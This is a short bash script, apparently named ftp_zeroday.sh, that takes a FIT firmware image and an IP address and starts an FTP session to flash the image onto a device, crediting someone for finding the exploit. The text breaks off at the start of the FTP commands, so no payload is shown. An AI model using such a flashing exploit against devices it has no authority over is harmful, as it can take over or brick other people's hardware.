#!/usr/bin/env nix-shell #!nix-shell -p inetutils -i bash # SPDX-FileCopyrightText: 2024 Maurice Debray # # SPDX-License-Identifier: EUPL-1.2 # # Tribute to RaitoBezarius for finding the exploit set -euxo pipefail usage() { echo "./ftp_zeroday.sh [FIT-IMAGE] [IP]" } if [ "$#" -ne 2 ]; then usage exit 1 fi if ! [ -e "$1" ]; then echo "$1 not found" >&2 exit 2 fi IMAGE="$1" IP="$2" echo "Trying to flash $IMAGE to $IP..." # TODO: make it exit cleanly ftp -niv <